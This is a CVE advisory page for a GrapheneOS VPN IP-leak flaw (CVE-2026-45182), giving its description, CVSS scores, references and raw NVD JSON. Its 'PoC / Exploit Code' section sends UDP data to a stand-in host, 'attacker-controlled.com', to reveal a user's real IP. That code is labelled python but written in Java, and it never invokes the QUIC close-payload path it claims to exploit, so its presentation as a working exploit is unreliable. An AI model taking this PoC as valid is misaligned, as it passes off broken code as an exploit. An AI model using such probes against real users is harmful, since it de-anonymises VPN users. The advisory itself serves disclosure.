CVE-2026-45182

Description

GrapheneOS before 2026050400 allows attackers to discover the real IP address of a VPN user as a consequence of a registerQuicConnectionClosePayload optimization, because an application can let system_server transmit UDP traffic on its behalf. This occurs when the "Block connections without VPN" and "Always-on VPN" settings are enabled.

CVSS Details

CVSS Score

2.2

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

GrapheneOS < 2026050400

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;

/**
 * Conceptual PoC for CVE-2026-45182
 * Demonstrates triggering UDP traffic that may bypass VPN on vulnerable GrapheneOS.
 */
public class VpnLeakPoC {
    public static void main(String[] args) {
        try {
            // Target server to observe the source IP
            String targetHost = "attacker-controlled.com";
            int targetPort = 80;

            DatagramSocket socket = new DatagramSocket();
            byte[] sendData = "TEST_DATA".getBytes();
            InetAddress ipAddress = InetAddress.getByName(targetHost);
            
            // This packet might be routed via system_server optimization
            // bypassing the VPN interface on vulnerable versions.
            DatagramPacket sendPacket = new DatagramPacket(sendData, sendData.length, ipAddress, targetPort);
            socket.send(sendPacket);
            
            socket.close();
            System.out.println("[+] Packet sent. Check remote server for Real IP leak.");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45182
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45182
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45182/
[4] VulDB https://vuldb.com/cve/CVE-2026-45182
[5] https://cyberinsider.com/grapheneos-fixes-android-vpn-leak-google-refused-to-patch/
[6] https://grapheneos.org/releases#2026050400
[7] https://lowlevel.fun/posts/tiny-udp-cannon-android-vpn-bypass/
[8] https://lowlevel.fun/posts/tiny-udp-cannon-android-vpn-bypass/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45182", "sourceIdentifier": "[email protected]", "published": "2026-05-09T23:16:32.277", "lastModified": "2026-05-11T16:17:36.470", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "GrapheneOS before 2026050400 allows attackers to discover the real IP address of a VPN user as a consequence of a registerQuicConnectionClosePayload optimization, because an application can let system_server transmit UDP traffic on its behalf. This occurs when the \"Block connections without VPN\" and \"Always-on VPN\" settings are enabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N", "baseScore": 2.2, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "references": [{"url": "https://cyberinsider.com/grapheneos-fixes-android-vpn-leak-google-refused-to-patch/", "source": "[email protected]"}, {"url": "https://grapheneos.org/releases#2026050400", "source": "[email protected]"}, {"url": "https://lowlevel.fun/posts/tiny-udp-cannon-android-vpn-bypass/", "source": "[email protected]"}, {"url": "https://lowlevel.fun/posts/tiny-udp-cannon-android-vpn-bypass/", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}